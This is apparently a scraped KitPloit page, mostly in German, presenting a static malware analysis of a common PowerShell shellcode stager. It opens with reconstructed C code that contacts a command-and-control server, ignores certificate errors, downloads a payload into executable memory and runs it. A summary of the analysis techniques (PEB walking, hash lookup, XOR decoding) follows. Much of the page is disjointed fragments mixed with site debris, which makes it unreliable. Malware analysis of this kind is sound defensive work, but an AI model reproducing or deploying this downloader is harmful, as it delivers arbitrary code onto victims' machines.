// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));

// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);

// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);

// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();

root@kitploit:~
## Zusammenfassung
Auch wenn es sich hierbei um einen sehr verbreiteten Shellcode handelt, bietet die statische Analyse Lernvorteile:
- Wir extrahierten mehrere Ebenen von PowerShell-Code, um einen 32-Bit-Shellcode zu erhalten.
- Während der Shellcode-Analyse besprachen wir die `PEB`- und Shellcoding-Strategie unter Windows.
- Wir haben ein Tool für die Reverse-Hash-Suche entwickelt (siehe `get_hash.py` in diesem Repository).
- Wir besprachen gängige Shellcode-Techniken wie `push-ret` und `call-pop`.
- Wir behandelten einige Teile der `PE`-Dateistruktur.

Danke,

Jonathan Bar Or (https://jonathanbaror.com)
Tool herunterladen
MEM_COMMIT | MEM_RESERVE
PAGE_EXECUTEREADWRITE
  • Der Payload bei $var_code (der base64-dekodiert und mit der Konstante 35 per XOR verknüpft wurde) wird in den Puffer kopiert und dann ausgeführt (durchgeführt mit dem $var_runme-Delegaten).
  • Beachte den letzten Teil des Codes – er prüft, ob die Zeigergröße 8 ist. Wenn das der Fall ist (d. h. 64-Bit-Prozess), wird es als neuer 32-Bit-Job ausgeführt. Andernfalls führt er einfach $DoIt aus.
  • ecx
    ecx
    gut dokumentiert
    test
    eax
  • Anstelle der loop-Anweisung (die mit ecx arbeitet) springen wir einfach mit jne zurück, solange wir keinen NUL-Terminator erreicht haben.
  • 0xbe057b7
    wininet.dll!InternetErrorDlg
  • Die Konstante 0x2f00 ist ERROR_INTERNET_FORCE_RETRY, und wir vergleichen das Ergebnis von InternetErrorDlg mit ihr.